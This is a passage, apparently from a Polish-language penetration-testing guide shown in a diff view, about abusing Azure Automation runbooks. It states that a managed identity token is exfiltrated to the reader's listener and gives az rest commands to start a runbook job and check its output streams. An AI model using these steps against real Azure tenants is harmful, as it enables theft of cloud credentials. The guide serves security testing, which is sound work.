||||
}"
|
||||
```
|
||||
W ciągu minuty **managed identity token** zostaje wyekfiltrated do twojego listenera.
|
||||
|
||||
W celu troubleshootingu, uzyskaj job ID i sprawdź job streams pod kątem errors:
|
||||
```bash
|
||||
# Get job ID from the job creation output, or list recent jobs
|
||||
JOB_ID=$(az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"properties\": {
|
||||
\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" }
|
||||
}
|
||||
}" --query "name" -o tsv)
|
||||
|
||||
# Check job output streams
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/${JOB_ID}/streams?api-version=2023-11-01"
|
||||
```
|
||||
|
||||
|
||||
Reference in New Issue
Block a user